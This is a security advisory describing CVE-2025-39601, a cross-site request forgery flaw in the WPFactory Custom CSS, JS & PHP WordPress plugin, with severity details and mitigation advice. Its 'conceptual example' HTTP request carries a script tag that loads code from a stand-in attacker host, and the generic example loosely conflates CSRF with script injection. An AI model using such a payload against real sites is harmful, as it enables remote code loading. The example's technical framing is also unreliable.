CVE-2025-39601: Cross-Site Request Forgery Vulnerability in WPFactory Custom CSS, JS & PHP

Overview

A critical vulnerability has been identified in the WPFactory Custom CSS, JS & PHP plugin, a popular tool used to customize the appearance and functionality of websites. This vulnerability, referenced as CVE-2025-39601, allows for Cross-Site Request Forgery (CSRF), potentially leading to remote code inclusion. If exploited, this vulnerability may result in system compromise or data leakage, posing a serious risk to any website using the affected versions of the plugin. It is crucial for website administrators and developers to understand this vulnerability and act promptly to mitigate it.

Vulnerability Summary

CVE ID: CVE-2025-39601
Severity: Critical (9.6 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

WPFactory Custom CSS, JS & PHP | n/a through 2.4.1

How the Exploit Works

This vulnerability exploits a weakness in the WPFactory Custom CSS, JS & PHP plugin’s validation of user inputs. An attacker can trick a legitimate user into unknowingly executing unwanted actions on their behalf. These actions can range from changing the user’s email address or password to executing arbitrary code, all depending on the permissions of the user. By doing so, the attacker can potentially gain control over the system or access sensitive data.

Conceptual Example Code

Here’s a conceptual example using a malicious HTTP request:

POST /vulnerable/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "malicious_payload": "<script src='http://attacker.com/evil-script.js'></script>" }

In this example, the attacker sends a request that includes a malicious script hosted on their server. If the victim’s browser processes this request, the script is executed, potentially leading to the attacker gaining control over the system or accessing sensitive data.

Mitigation

The best course of action to mitigate this vulnerability is to apply the patch provided by the vendor. However, if immediate patching is not an option, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can offer temporary protection by detecting and blocking malicious requests.